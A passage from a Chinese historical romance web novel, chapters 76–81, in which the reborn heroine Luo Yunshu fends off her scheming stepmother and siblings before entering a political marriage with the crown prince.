也正是因为如此,才有了踏进应天书院,就一只脚踏进官场的说法。 所以,在京城,人人都削尖了脑袋想去应天书院。 只可惜,应天书院入学审核极其严格,更重要的是,应天书院十分看重学子的资质。 若资质平庸,即便是再有权势,也无法进入应天书院。 洛明谦很显然是听说过应天书院的,听洛云舒这么一说,他到底年幼,难掩激动:“大姐姐,您说的这是真的吗?” 洛云舒莞尔一笑:“自然是真的。我从不骗人。不过,打铁还需自身硬,纵然太子殿下愿意举荐,还得你自己有真本事才行。” “自然。大姐姐放心,我一定会努力读书,不让大姐姐失望。” “好,那我就等着你的好消息。” “谢谢大姐姐!要是没什么事的话,我就先去读书了。” “好,去吧。” 洛云舒含笑,目送洛明谦远去。 这时候,孙氏的脸色已经很难看:“云舒,你未免也太厚此薄彼了。” 洛云舒瞥了她一眼:“当年,我也不是不想举荐明辉去更高一级的书院,是他自己没这个本事。母亲不识字,不懂其中的关窍,父亲却是懂的。对吧,父亲?” 洛守礼连连点头,顺便还瞪了孙氏一眼:“无知妇人!什么都不知道,在这里胡说些什么?幸亏都是自家人,不然传出去,还真是让人笑话!” 大概是因为争执的事情和洛明辉有关,孙氏不肯妥协:“老爷,凭什么这应天书院明谦能去,我儿就去不得?” 当着亲弟弟的面,接连被孙氏挑衅,洛守礼很生气。 他重重地拍了一下桌子:“就因为明辉脑子不行,你又溺爱他,惯着他,这个理由,够吗?” “明辉的脑子怎么就不行了?他绝顶聪明,他就是不爱读书,他要是肯读书,早就中状元了!” “别做梦了!就是因为明辉的母亲是你,才会造成如今这个局面。你瞧瞧他那个纨绔的样子,哪有明谦半分懂事?” “怎么还赖到我的头上了?你觉得我蠢,有本事当初别娶我啊!还不是因为你家穷,没人肯嫁。再说了,他洛明谦的贱人母亲又好到哪里去了?” “闭嘴!”洛守礼一巴掌扇在孙氏脸上,怒道,“你当着我的面,公然诋毁二弟妹,是想让整个洛家家宅不宁吗?” 孙氏突然被打,整个人有些懵,呆若木鸡。 反倒是一向性情平和甚至有些懦弱的二婶,立刻就站了起来:“大嫂,你太过分了!” 洛云舒微微皱眉。 第76章 你也可以自在些 洛云舒没想到,在洛守礼已经发话的前提下,二婶居然会怒斥孙氏。 这在以前,是从未发生过的事情。 或许,女人为了维护自己的孩子,总会格外勇敢些。 这时候,二叔站出来打圆场。 他拉了二婶一下,轻声斥道:“大哥已经发话了,你就少说两句。” 二婶闷声应着,坐下后不再说话。 但是脸色很不好看。 孙氏被打之后也老实了,被洛守礼命人送了回去。 把孙氏送走之后,洛守礼看了洛守家一眼:“你大嫂就是口无遮拦,实际上,她没什么恶意。你别见怪。” “大哥言重了。是我们住在这里,麻烦你们了。” “自家兄弟,何必说这样的话?好了,时候不早了,早点歇息吧。” 就这样,洛守家在洛府住下。 住下之后,他急着找个营生做,每天都在外面跑。 洛云舒知道之后,给他推荐了几个铺子。 他很快看中其中一处,却又拿不定主意做什么生意。 “二叔,原先在云州,你既然已经开始做打金的生意,不如在京城继续做下去。在京城最不缺的就是富家小姐,只要首饰的款式足够新颖,他们就会心甘情愿往外掏银子。” 洛守家面露难色:“可是,我的本钱不多,在京城又是租铺子又是开打金铺子,花费很大。我想着还跟云州一样,先做杂货铺子,攒些银子,然后再慢慢来。” “二叔,这开店的银子,我拿给你。” 洛守家连连摇头:“不行,不能拿你的银子。你之前给的就够多的了,我是长辈,理应我关照你,可一直以来,却是你在关照我。这样不对。” 任凭洛云舒怎么说,洛守家都不肯要她的银子。 但,洛云舒实在不想埋没二叔的手艺。 最后,她灵机一动:“二叔,你看这样行不行?租铺子和打金需要的本钱由我来出,你负责做,盈利我们五五分账,如何?” “不行。不能总沾你的光。一九吧,我浑身都是力气,力气是最不值钱的。若不是要供明谦读书,我情愿给你白做工。” “二叔,在京城这种地界,你这性子出去做生意,怕是要被人坑死。这样吧,你也别跟我犟,你我各退一步,你三我七,另外,我再给你找几个管理铺子的人。到时候,你只需要负责做首饰,其他的都不用你操心。” “好!”洛守家一口应允。 达成共识之后,洛云舒这边也开始物色人选。 她虽然不能出门,却可以让灵雀和知意代劳。 事情很快办妥,二叔也跟着忙碌起来。 洛云舒也为他感到高兴,做事的时候脸上都不由自主地带着笑意。 “笑什么呢?” 冷不丁听到这个声音,洛云舒一怔,继而抬头向窗外看去,就看到裴行渊踏着夕阳,正朝着她缓步走来。 他穿着一身淡青色的圆领纱袍,腰间系着玉带,缀着一个浅蓝色的香囊,行走间姿态从容,华贵天成。 洛云舒立刻起身相迎:“臣女见过太子殿下。” 裴行渊伸手虚扶了一下:“免礼。” 二人在院中的凉亭就坐。 知意前来上茶之后又很快退下。 凉亭里,只有他们二人。 洛云舒满面含笑:“恭喜殿下又立新功。” 裴行渊亦是笑着的:“若不是你事先提醒,孤做不成这件事。而且,孤听东方先生说,你还极力阻止御史台的人死谏。云舒,此次立功,你当居头功!” “和太子殿下合作,臣女不敢怠慢。” 洛云舒把自己的姿态放得很低。 权力场是男人角逐厮杀的地方,她可以适当地给出建议,但绝对不能占据主导地位。 这是大忌。 裴行渊看出洛云舒的小心翼翼,轻声一笑:“既然是合作,孤对你就有足够的信任。故而,你无须担心什么,畅所欲言即可。” “是,殿下。” “你让东方先生为孤处理回京后的后顾之忧,同时又离间了东方亮和老三之间的关系,可谓是一石二鸟。说吧,想让孤怎么赏你?” “臣女所求,当日决定和殿下合作的时候就已经说过。除此之外,臣女别无他求。” “你又忘了。”裴行渊轻笑。 洛云舒一怔,随即意识到,之前裴行渊曾经说过,让她在他面前不要自称臣女。 太久没见他,忘了。 洛云舒立刻道:“是我疏忽了,望太子殿下勿怪。” “你多虑了。这样吧,你若不想要其他的功劳,孤就给你在孤面前肆意而为的特权。这样,你也可以自在些,如何?” “好。” “听闻礼部已经送了嫁衣来,这嫁衣,可还合身?” “礼部的人做事尽心,这嫁衣很合适。” “那就好。”说着,裴行渊把腰间的香囊拿在手里,把玩着。 洛云舒看了一眼,发现那香囊有些旧了,有些地方还开了线。 似乎是察觉到洛云舒的视线,裴行渊笑着看过来:“在外,孤一向宣称对你情根深种。如今大婚在即,不知孤是否有荣幸得到未婚妻所赠的香囊?” 未婚的男女,会互赠香囊表达爱意。 有时候,也需要靠着香囊彰显爱意。 这个道理,洛云舒懂。 她立刻应下:“不知殿下想要个什么花色?” “随便,你看着绣就好。图案无须太繁复,简单些就好。你大婚在即,事情多,别累着了。” “谢太子殿下体恤。”说完闲话,洛云舒端正神色,把洛守礼耐不住性子,曾和东方亮接触的事情告诉了裴行渊。 这些事裴行渊未必就查不到,与其等他查到之后再兴师问罪,倒不如,由她来说。 听完,裴行渊似乎并不意外:“洛侍郎的行事风格,孤之前也听说过一些。他大概是有些太着急了。” 从底层爬上来的人,对于权势的渴望总会重一些。 洛云舒起身,深施一礼:“殿下,臣女……我有一个不情之请,希望能得到太子殿下的应许。” 裴行渊含笑点头:“你但说无妨。” 左不过是为洛守礼请官罢了。 太子妃的父亲,官职终究不能太低。 关于这一点,他也有所打算。 然而,洛云舒所说的话,出乎裴行渊的意料。 第77章 我不想嫁给太子 “所以,你的意思是,想让孤将你父亲外调?”发问时,裴行渊难掩诧异之色。 洛云舒点头:“是这样没错。我父亲太过急功近利,我担心他留在京城,会被人做文章,误了您的事。” “原来,你是在为孤考虑。”裴行渊沉思片刻,“关于你父亲外放的事,容孤再考虑几天。” “好。” …… 要为裴行渊绣香囊,洛云舒原本觉得不是难事。 可真的拿起绣针之后,她才发觉这事儿不好办。 虽然裴行渊说这香囊简单些就好,但日后这香囊他会佩戴在身上,若是太寒酸,丢的是他们两个人的脸。 不能简单,那图案就得繁复些。 可繁复些的图案,洛云舒又没把握。 几番思量之下,洛云舒让知意跑一趟,请海云澜来。 若论刺绣,海云澜是高手。 海云澜得到消息,很快就来了。 得知洛云舒找她的用意,海云澜顿时就笑了:“哎呀,可算是有我派上用场的时候了。” “是是是,还请海大小姐不吝赐教。”说着,洛云舒亲自端了一杯茶给她。 海云澜忍住笑:“好说,好说。” 说完,自己哈哈大笑。 洛云舒也跟着笑了。 不知道为什么,和海云澜在一起,总觉得特别轻松。 这时候,海云澜清清嗓子:“既然是送给未婚夫君,不如绣鸳鸯戏水?” “不妥吧。又不是在内宅佩戴,他时常在外行走,被人看到了,显得太过儿女情长。” “哟哟哟,这就开始为人家考虑上了。” 洛云舒轻拍了一下她的肩膀,嗔道:“不许胡说。快教。” “好好好。不能绣鸳鸯戏水,那就绣上几丛碧竹。竹子高洁,正好符合太子殿下一贯的形象。” “竹子是不是太过简单了些,显不出技法来?” “这倒也是。”海云澜凝神细思,片刻后她一拍桌子,大声道,“那就在旁边绣上一首吟咏竹子的诗。” 绣字原本是不难的,可香囊毕竟不大,在上面绣出清晰的字迹虽然有点难度,但也难不倒洛云舒。 可只是绣字,总觉得还欠缺什么。 这时候,海云澜笑着眯了眯眼睛:“单纯地绣字,体现不出什么来。不如,先请太子殿下写首诗,你以他的字体来绣,这样显得更有诚意些。” 听到这个主意,洛云舒觉得靠谱儿,就让寒霜跑一趟,取来裴行渊的墨宝。 看到裴行渊的字,洛云舒心中不由得暗自惊叹,这字字体刚劲,力透纸背,可见是下过苦功夫的。 拿到字之后,洛云舒先临摹,加以熟悉,之后才开始绣,花了大半日的功夫,总算是绣好了。 正值夏季,洛云舒就在香囊里放了些驱蚊醒神的药材。 东西做好后,用小匣子装了,让寒霜送过去。 做完这些,洛云舒一晃神,问知意:“今天是什么日子了?” “回大小姐的话,今个儿是初一。” 听完,洛云舒心底一动。 六月初一。 她大婚的日子,是六月初八。 距离她成亲,只有七日了。 洛云舒心如止水,没什么特别的情绪。 聘礼已经送到,嫁衣也已经试过,只待大婚。 大婚于她而言,是在完成任务。 任务完成后,她名正言顺地拥有太子妃的身份,才能更好地为太子做事。 这是他们之间的合作。 婚期将近,洛云舒安心待嫁,心无旁骛。 依照规矩,在大婚前的这段时间,她和裴行渊是不能见面的。 但,裴行渊一直都让人送东西来。 或许是一道宫中御厨所做的甜点,亦或是一枚构思精巧的簪子,从礼物上来看,裴行渊是用了心的。 洛云舒明白,这都是做给别人看的。 从一开始,裴行渊所营造的形象就是对她一见钟情,不顾门第,为她求来赐婚圣旨。 所以,裴行渊对她的好,洛云舒明白是怎么一回事。 但,孙氏却不这么想。 洛云舒不许她来芷荷院,她就时不时地在院子里堵洛云舒。 一见面,孙氏总是哭诉:“云舒,你要嫁人了,我这个做母亲的,心里实在是难受。” “难受?那你哭出来。”洛云舒笑着说。 孙氏脸色一僵,她哭不出来。 女儿要嫁给太子,她高兴都还来不及。 自打赐婚的圣旨一出,那些个世家贵妇个个都高看她一眼。 往常她去参加宴会,恨不得把自己整个人缩起来,生怕出错。 是洛云舒给她出主意,让她只是保持微笑就好,可以借此塑造温婉的形象。 可现在她再参加宴会,别人都是看着她的脸色行事。 因为,她是准太子妃的母亲。 这份荣耀让她很受用。 但,她想要的,还不止这些。 “云舒,你这性子实在是太急了。你是要做太子妃的人,性情应该更稳妥些。” 洛云舒依旧笑着:“论稳妥,母亲怕是不如我。” “可我到底阅历比你深。云舒,你出嫁之后,可千万要惦记着家里。你弟弟还没考出个名堂来,宝珠的婚事还没个着落……” 孙氏边说,边看洛云舒的脸色。 洛云舒并不应许什么,只是看着孙氏。 她不喜欢听这些,孙氏是知道的。 “云舒,你在记恨我,是不是?” “是。” 孙氏仿佛被惊到,手捂着心口的位置:“你、你竟敢记恨自己的母亲?” 洛云舒语气平静,像是在重复别人的故事:“这世上,没有一位母亲会眼睁睁看着自己的女儿去死。” “是你父亲的决定,我只是没有选择而已。”说着,孙氏又急忙补充,“如果可以替你,我这个做母亲的,情愿替你去死。” “真的?”洛云舒似乎被感动到,眼睛里闪着盈盈的泪光。 “当然是真的。云舒,别怀疑一颗母亲的心。” 洛云舒松了一口气,仿佛是如释重负:“母亲既然这样说,女儿心里就有底了。其实,我不想嫁给太子。” “什么?”孙氏声调拔高,显得十分尖锐。 洛云舒蹙了蹙眉,脸上泪珠滚落:“母亲,大婚那日,你替我嫁,好不好?” 第78章 太子见了她都要着迷的 孙氏眼睛瞪得极大,好半天才找回自己的声音:“你、你、你……” 你了半天,孙氏说不出一句完整的话。 她捶着自己的心口,接连捶了好几下,脸都急红了:“云舒,你知道你在说什么吗?” 洛云舒面色平静:“我知道。我不愿意嫁,请母亲替我。” “荒唐!这不是替不替的事情,这是欺君之罪,要杀头的。” “那就杀。到时候,还请母亲一人承当所有的罪责。这样的话,我就不会获罪。” “胡闹!这是要我去死!” 洛云舒微微歪了歪脑袋:“母亲刚才不是说,愿意替我去死吗?莫非只是空口白牙,随便说说?” “这……”孙氏一时语结,又急忙往回找补,“云舒,事情不是这么办的。咱们不能明知道是错误,还要故意去犯。” “当时让我为霍少远殉节就不是错误?让自己的女儿去送命,不算错误?” “云舒,不一样的。当时是霍家威逼,我们没有法子。” “母亲,现在我也在逼你。逼你用你的性命,助我不嫁给太子。母亲一定会成全我的,是不是?” “不!”孙氏立刻反驳,“云舒,你想想看,那是太子,是太子啊!那是多少女人都梦寐以求的男人,你就不心动?” “母亲,我不心动。任凭他是天潢贵胄,看不上就是看不上,没什么好说的。” 孙氏仍是摇头:“云舒,你真是疯魔了。身为你的母亲,我不能眼睁睁看着你犯这样的错误。我不会帮你,你趁早死了这份心。” “母亲,你以为你说这些,就能掩饰你不愿意替我去死的事实吗?” “云舒,话不是这样说的……” “母亲!”洛云舒径直打断她的话,“有些事情是装不出来的。既然如此,你也不必假装对我很关心,我不需要。至于你所说的关照洛宝珠和洛明辉,我也一概不会照办。至于他们以后会有个什么前程,全看他们自己,与我无关。” 说完,洛云舒转身离去。 孙氏追过来,被寒霜拦住。 待嫁的日子,洛云舒打算安安静静地过。 毕竟,大婚之后,她的日子不会太平静。 这几天,大概会是她最近这几年最安静的时光。 于是,她喝茶,荡秋千,赏花,睡到自然醒。 有寒霜拦着,没人来打扰她。 哪怕是大婚前两日,礼部的人来布置,洛云舒仍有一种置身事外的安然。 直到大婚前一天,孙氏再次出现在她的院子里。 孙氏来,是按照礼部的规程。 大婚前一晚,做母亲的总要叮嘱女儿些什么。 毕竟,出嫁之后女儿就是别人家的人,过好过坏都是未知数。 做母亲的,总免不了会为女儿的前程担心。 孙氏也说了几句这样的话,有礼部的人在,洛云舒安安静静地听着,过耳不过心。 等孙氏说完之后,洛云舒终于有了片刻的安闲。 洛宝珠和洛明辉也来见她,脸上带着讨好的笑容。 洛云舒微笑以对,既不亲昵,也不疏离。 大婚前这一晚,做母亲的总会说些体己话。 到了这个环节,礼部的人就退出去了。 这时候,孙氏给了洛明辉一个眼神。 洛明辉得到示意之后,立刻去门口守着。 而孙氏坐到洛云舒身边,低语道:“云舒,你不是说不想嫁给太子吗?我已经找到了解决的办法,可以让你如愿。” “哦?什么办法?” 孙氏坐得更近了些,声音也压得更低:“让宝珠替你嫁过去。她这样的年华,正是最好的时候。没有男人不爱这样的女子。太子见了她都要着迷的。如此一来,太子殿下就不会追究你的过错。” 一旁,洛宝珠噘着嘴说道:“姐姐,按理说这样有风险的事情我是不愿意做的。可是,谁让你是我姐姐呢?为了你,我愿意去做。” 可,她嘴上说着不愿意,脸上却有笑意。 嫁给太子做太子妃,她欢喜还来不及。 洛云舒笑笑:“倒是忘了告诉母亲,我现在又愿意嫁给太子了。所以,不必妹妹忍着委屈替我。” 孙氏脸色一变:“你、你先前说的是假的?” “不,是我改主意了。” “你这是在耍我!”洛宝珠绞着手里的帕子,气得几乎要哭出来。 洛云舒看向她,似有不解:“你不是说这样有风险的事情你不愿意做吗?刚好,现在没什么风险了,你不是应该开心吗?怎么看你这个样子,倒像是很失望的样子。咦,你该不会是想嫁给太子吧?” “没、没有。”说着,洛宝珠躲到孙氏的身后后,捅了捅她。 孙氏得到示意,立刻道:“云舒,你这性子怎么跟小孩子似的,一会儿一变?这样不行的。成亲是大事,你这会儿愿意,万一等你嫁过去之后又不愿意了该怎么办?依我看,倒不如现在就杜绝这样的事情发生,直接让宝珠嫁过去。” “礼部的人就在外面,临时换新娘的事情,要不问问他们的意见?” “云舒,我是在为你着想。都说女子嫁入皇家是进入龙潭虎穴,宝珠愿意替你去嫁,是念着你身为长姐的恩情,愿意为你分忧。你应该感激她才对。” 洛云舒嗤笑一声:“母亲,明日我大婚之后,你着手开始收拾府里的东西吧。” “收拾东西做什么?” “怎么,你不知道?父亲要外放了,母亲还是想想该让哪位姨娘跟过去照顾吧。” 孙氏被这个消息震惊到,眼睛瞪得极大:“这件事是谁告诉你的?” “是父亲的决定。怎么,他没告诉你?”说着,洛云舒自顾自地说道,“哦,我知道了。大概,父亲是不想带你同去吧。” 不带她,那肯定是要带别人。 男人身边,缺不了女人服侍。 听闻此言,孙氏的脸色彻底变了。 她再顾不上什么,急匆匆地出去了。 孙氏一走,洛宝珠没了倚仗。 她重重地跺了一下脚,也跟着跑走了。 屋子里,重新变得安静。 这时候,洛明辉走了进来。 他看着洛云舒,眸子沉沉,似乎是在透过她看另外一个人:“姐姐,你变了。” 第79章 我的儿啊,母亲舍不得你 洛云舒微微一笑:“你这会儿也变了。想装大人,但是装的不像。” 被戳穿后,洛明辉的脸上流露出几分稚气:“你非要和家里闹得这么僵吗?” “闹?你觉得我在闹?” “是,夫子说,长期被忽视的人,会通过闹的方式博取关注。” 洛云舒依旧笑着,声音很轻:“不,我不博取任何人的关注。我现在所做的都是我想做的,随我心意,肆意而为,仅此而已。” “没有人能随着自己的心意肆意而为。” “有的,只要够努力。” 洛明辉怔了怔,似乎是没听懂。 但是,他很快提出了自己的要求:“大姐姐,鹿鸣书院的夫子太迂腐,授课的方式也有问题,我想去应天书院。我听母亲说,你会求太子殿下,让洛明谦去应天书院。他能去,我就能。” “可以啊,那你好好努力。” 洛明辉变了脸色:“你不肯帮我?” 洛云舒看向他,眼神平和:“看来我刚才说的话你没听进去。要想达成所愿,你得自己努力。这世上,没那么多捷径可走。” “为什么洛明谦可以,我不可以?” “子曰,先行其言而后从之。这句话的意思,你解释一下。” 洛明辉脸色微红:“一句话而已,知道还是不知道有什么要紧?你别忘了,我是家里唯一的男丁,是洛家的未来。” “是吗?那洛家的未来,堪忧。” “贬低我,对你有什么好处?”洛明辉厉声质问。 “至少,能让你认清现实。” 十五岁意气风发的少年,最讨厌被人否定:“三十年河东,三十年河西,你凭什么认为我不如洛明谦?” “或许你比他好,或许你不如他,但这些与我无关,是你自己的事情。” “你别忘了,咱们洛家家世不好。哪怕是你做了太子妃,还是会有人质疑你。到时候你就需要娘家撑腰,来日你有了儿子,就需要我这个舅舅撑腰。你现在如此对我,别想我以后会帮你!” 这是威胁。 洛云舒徐徐笑了:“好啊,等你有本事为我撑腰的时候,我必定跪下求你。” 洛明辉脸色一暗:“你就这么看不起我?” 这话,洛云舒还没来得及回答,二叔一家人就来了。 洛明辉看了洛明谦一眼,拂袖而去。 二叔见此情景,要去追洛明辉,被洛云舒拦下。 “二叔,不用管他。” 洛守家有点不安,朝着洛明辉离去的方向看了好几眼。 这时候,洛明谦上前,轻声道:“大姐姐,大哥若是因为书院的事情跟你置气,那我也去鹿鸣书院好了。” 洛云舒看了他一眼:“明谦,来,你坐。” 洛明谦乖乖坐下。 “一个人想要做成一件事,大部分时间只能专注于一件事。像你这个年纪,安心读书就好,至于其他的,暂时不必理会。有时候,实力是最好的证明。” 少年人做事,最忌讳三心二意。 洛明谦听懂了,连连点头。 一旁,二叔叹了口气:“云舒,是我让你难做了。” 洛云舒展颜一笑:“二叔,您想多了。无论我怎么做,他们都不会在乎。不然,当初也不会逼我殉节。” 曾经性命攸关的事情,她如今也可以笑着说出来。 二叔却觉得心疼,作为弟弟,他不能指责兄长,只轻声说道:“大哥或许是糊涂了。” 可,再糊涂的人,也不会要自己女儿的性命。 这不是糊涂二字可以解释的。 “好了,不说这些事情了。你们都先出去,我跟云舒说几句体己话。” 听二婶这么一说,所有人都退了出去。 房间里,只剩下洛云舒他们二人。 二婶看着洛云舒,满目感慨:“我刚嫁过来的时候,你还那么小,现在你都成了大姑娘,要出嫁了。” 说着,二婶伸手,理了理她额前的乱发。 洛云舒只是笑:“我长大了,二婶还是这么年轻。” 二婶笑笑,眼角的细纹里满是幸福:“年轻是不可能的。云舒,你明日大婚,我这个做婶婶的要叮嘱你几句。不过,你嫁的不是寻常人家,兴许用不到,但是,我还是得说。” “嗯,您说。”洛云舒看着她,认真听着。 “你嫁过去,要懂得跟夫君相持相守。咱们做女人的,天生弱势了些,该让的时候就让,别太要强,但是,尽量也别让自己受委屈……” 说到最后,二婶的嗓音里带了哭腔。 嫁人,意味着会进入一个新的环境,会在突然之间和全然陌生的人做亲人,这个过程,很难。 洛云舒替她擦泪:“二婶,你放心,太子待我很好。以后你们在京城住下,咱们随时都可以见面。” “不,知道你过得好就行,不必经常见。我们都是庄稼人,没规矩,会给你丢脸。” “不会的,二婶最好了。” 二婶嫁过来的时候,她还很小,不会自己梳头发,头发总是乱蓬蓬的,像个小疯子。 是二婶给她梳头,还不会弄疼她。 二婶还会省钱,给她买好看的头绳。 燃燃的红烛中,洛云舒回忆从前,满眼都是笑容。 她的过往,也还是有一些甜蜜的回忆的。 烛光中,二婶红了脸,声音越来越低:“云舒,还有一件事要叮嘱你。明日大婚,到了晚上你须得忍耐着些。女子第一次,总会格外疼些。但慢慢地就会好,你须得忍一忍。” 意识到二婶在说什么,洛云舒神色如常。 她和裴行渊之间,不会有这些流程。 她也不会和任何男人发生这些。 这所谓的情爱,终究是靠不住的。 把自己的一颗心交出去,就要承受被人舍弃的可能。 既然如此,她要恪守本心,不交给任何人。 但这些,没必要说给二婶听。 二婶一家走后,洛云舒歇下。 第二天天还没亮,就被严嬷嬷叫醒。 大婚的礼仪,严嬷嬷已经教过。 洛云舒净了面,乖乖地坐在梳妆镜前,任由宫里来的嬷嬷为她上妆。 为她梳头的,则是阮夫人。 阮清辞也在。 只是,因为有宫里的人在,阮清辞很老实,乖乖站在一旁,装得很温婉。 洛云舒看着她,面带浅笑,害得阮清辞差点儿装不下去。 后来,一顶盖头盖下来,遮住了所有。 这流程,严嬷嬷不止一次跟她讲过,洛云舒很熟悉,每一步都做得很好。 很快,喜乐声响起,迎亲的人来了。 裴行渊穿着红艳艳的新郎服走到她面前,把红绸的另一端塞进她的手里。 洛云舒接过,步入正厅,拜别双亲。 孙氏哭得悲壮:“云舒,我的儿啊,母亲舍不得你……” 在京城,孙氏一直以温婉示人。 她从不在人前失态。 故而她此刻哭成这个样子,让不少人动容。 然而,红盖头之下,洛云舒面色平静。 拜别双亲,入喜轿,进东宫,拜帝后,入新房。 一切都按流程来。 前世今生,洛云舒都是第一次做,生怕出错。 直到安安稳稳地在喜床上坐下,她才轻轻呼出一口气。 这时候,一杆称头出现在她的视线里,头上的盖头被挑起。 她抬头,眼前现出裴行渊微笑的脸…… 第80章 她会过得越来越好 洛云舒也跟着笑,声音温婉:“太子殿下。” 旁边,宫里来的喜嬷嬷提醒道:“娘娘,该改口了。” 洛云舒低头,呈现出恰到好处的羞怯:“夫君。” 裴行渊笑着回应:“娘子。” 喜嬷嬷一怔,按照规矩,太子该称洛云舒为爱妃。 可,想到太子殿下对这位太子妃情根深种,叫一声更亲昵的娘子也不算什么。 喜嬷嬷忙把手里的托盘往前递了递。 裴行渊含笑端起一杯合衾酒,送进洛云舒手里。 之后,在喜嬷嬷的唱和声中,洛云舒和裴行渊手臂交缠,饮下了这一杯合衾酒。 洛云舒不擅饮酒,但是这酒味道很淡,在她可以接受的范围内。 之后,便是吃子孙饽饽。 毫无意外,是生的。 喜嬷嬷促狭地问道:“娘娘,生不生?” “生。”说着,洛云舒红了脸。 关于红脸,她是特意练习过的。 憋一会儿气,脸色就会微微发红,如同害羞了一样。 裴行渊站在一旁,只是笑。 笑过之后,他走近洛云舒,低声道:“孤要去前面应酬一下。你可歇一会儿。若吃些什么或用些什么,只管吩咐人去办。你是东宫的女主人,在东宫,你的命令,东宫众人无有不从。” 最后这句话,裴行渊是特意说的。 说给周围的人听。 是在为洛云舒撑腰。 洛云舒起身,含笑相送:“是,太子殿下。” 皇族规矩森严,故而太子成亲,并不会和民间一样有人闹洞房,洛云舒乐得清闲。 裴行渊一走,严嬷嬷甚至上前,取下了她头顶沉重的发冠。 洛云舒错愕。 严嬷嬷笑着应道:“是太子殿下的吩咐,怕您累着。” 以后,严嬷嬷就是她的人了。 是裴行渊求来的,怕她初入东宫,有些规矩不懂,好让严嬷嬷时刻提点着。 以往,没成亲的时候,于她而言,严嬷嬷是宫里来的嬷嬷,地位尊崇,不可得罪。 但以后,严嬷嬷就是她的下人,她可以随意吩咐。 只是,洛云舒并未托大,只含笑看着严嬷嬷:“有劳嬷嬷了。” 笑意不达眼底,并不会让严嬷嬷觉得她刻意在讨好,仍有太子妃的威仪在。 发冠卸下,洛云舒轻松不少。 她让其他人退下,房里只留了知意和灵雀二人。 洛云舒靠着床歇了一会儿,并未弄乱发髻。 到了晚些时候,裴行渊回来了。 他身上有些酒气,但脸上并无醉态。 洛云舒早有准备,立刻让人送上醒酒汤。 喝过醒酒汤,裴行渊静静地看着洛云舒。 洛云舒觉得诧异,但并未在脸上流露出来。 这实在是奇怪。 不是说过,所谓的对她情根深种,只是在人前装一装吗? 眼下房里都是她的体己人,裴行渊为何还这么看着她? 洛云舒正疑惑着,裴行渊却很快收回视线:“累了一天,歇着吧。” 说完,裴行渊向屏风后面走去。 他早有准备。 毕竟,二人不是打算做真的夫妻。 洛云舒也卸了头上的钗环,在知意和灵雀的服侍下躺在床上。 之后,她让二人也下去歇着。 她没有让人在床前守夜的习惯。 二人出去前,吹灭了灯。 暗淡的夜色中,洛云舒躺在床上,内心一片安宁。 她已经走出了这重要的一步。 她做了太子妃,可以更好的和裴行渊合作,来日等裴行渊顺利继位,她也就可以功成身退。 重活一世,她步步为营,终于走到这一步。 她已经改变了自己前世的轨迹,以后,她会过得越来越好。 心里想着这些,洛云舒内心安定,很快睡熟。 可不知道为何,哪怕是睡着了,她仍然觉得有人在看她。 然而,她却并不感到反感,反而觉得很踏实。 一夜好眠。 第二天早上醒来,洛云舒神清气爽。 按照规矩,她上妆打扮,着太子妃朝服,与裴行渊一道,入翊坤宫,给昭远帝和赵皇后敬茶。 皇帝的后妃们亦在两旁坐着观礼,但依照规矩,洛云舒并不需要给她们敬茶。 敬茶是大礼,故而气氛凝重,周围落针可闻。 洛云舒依着严嬷嬷的嘱咐,双手平举,从宫女递来的托盘里取过一杯茶,恭恭敬敬地送到昭远帝面前。 之后,她跪下,将手里的茶杯举高,与裴行渊动作一致,将杯子里的茶敬献给昭远帝:“父皇,您请喝茶。” 整个过程中,要求茶水不能洒落。 裴行渊的手很稳,杯子里的茶水如镜面一般平静。 洛云舒亦然。 昭远帝一一接过,声音爽朗:“起来吧。” 之后,他从贴身太监的手里接过一个红封,分别递到裴行渊和洛云舒手里。 洛云舒双手接过:“谢父皇。” 之后,是给赵皇后敬茶。 赵皇后很满意洛云舒的表现,给红封的时候声音愉悦:“起来吧。” 敬茶结束,洛云舒要随着裴行渊一起去太庙,拜祭皇族祖先。 拜祭结束后,裴行渊站在一处灵位前,久久凝视着。 洛云舒看过去,发现是先皇后的牌位。 先皇后,是裴行渊的生母。 裴行渊在幼年时就失去了自己的母亲,他一路走来,没有母亲的庇护,想必过得十分不易。 见洛云舒看过来,裴行渊微微一笑:“走吧。” 一整套礼仪下来,已经接近正午。 二人回了东宫,饭菜很快摆上。 二人是新婚夫妻,为了彰显和睦,二人离得很近。 饭后,裴行渊去前殿处理日常事务,洛云舒则去了自己的寝殿——柔仪殿。 按照规矩,大婚之后,她入住柔仪殿,而裴行渊,则有专属于自己的寝殿,端本宫后殿。 回到柔仪殿之后,洛云舒亲自见了在柔仪殿伺候的众人。 柔仪殿极大,自前而后,分别是前殿、中殿和后殿。 前殿接见来客,中殿有更衣室和茶室,后殿则是寝殿。 两旁有东西配殿,最后面则是宫女的住所。 地方大,伺候的人也多,几乎有上百号人。 原先,东宫没有女主人,这里是东方先生管着。 他御下很有一套,再加上裴行渊刻意给她立威,所以洛云舒不需要做什么,只发了话,让众人各司其职。 太子妃的威仪,无人敢蔑视。 洛云舒花了一日时间,理清了柔仪殿的人员构成和账册。 一切井然有序。 第二日,则是三朝回门的日子。 第81章 太子殿下竟然对你这样好 这一日,洛云舒刚用过早饭,东方先生就来了。 他脸上带笑,态度恭敬:“娘娘,依照太子殿下的吩咐,回门礼已经准备妥当。这是礼单,请您过目。” 知意双手接过,送到洛云舒手里。 洛云舒接过看了看,送的礼物都很合适,且兼顾到了二叔一家,很妥帖。 “东方先生,多谢您。” 东方先生是裴行渊的幕僚,并非伺候她的奴仆,所以面对他,该有的客气得有。 她是太子妃,要替裴行渊维护现有的人际关系,不可怠慢了谁。 “娘娘,您折煞微臣了。太子殿下吩咐,请您等上一刻钟,稍后,他同您一起回门。” “殿下也去?”洛云舒很诧异。 她原本以为,裴行渊不会陪她回门。 毕竟,只是走个过场而已。 更何况,裴行渊和她又不是真的奔着成亲去的,他用不着陪她做这个戏。 没想到,裴行渊竟然要去。 莫非,是让洛守礼外放的事情有了着落? 或许是。 洛云舒思忖着这些,心里多少有了底。 没多久,裴行渊回来了。 他脸上带笑,声音清润:“有件棘手的事情等着处理,耽搁了,娘子勿怪。” 洛云舒屈膝行礼:“殿下言重了。” 直到坐在马车上,洛云舒悄悄瞥了裴行渊一眼,见他脸上仍有笑意,心里不禁暗自叹服。 不愧是做太子的人,哪怕是做戏,也会做得万无一失。 瞧,眼下尽管身边没有其他人,他也不曾松懈。 果然,能做太子的人,不是凡俗之辈。 洛云舒思想开了小差,看裴行渊的时间就久了些。 等她缓过神来的时候,就发现裴行渊也在看着她。 大意了。 洛云舒急忙看向别处,为自己找补:“殿下肯陪我回门,真让我感到意外。” “叫夫君。” 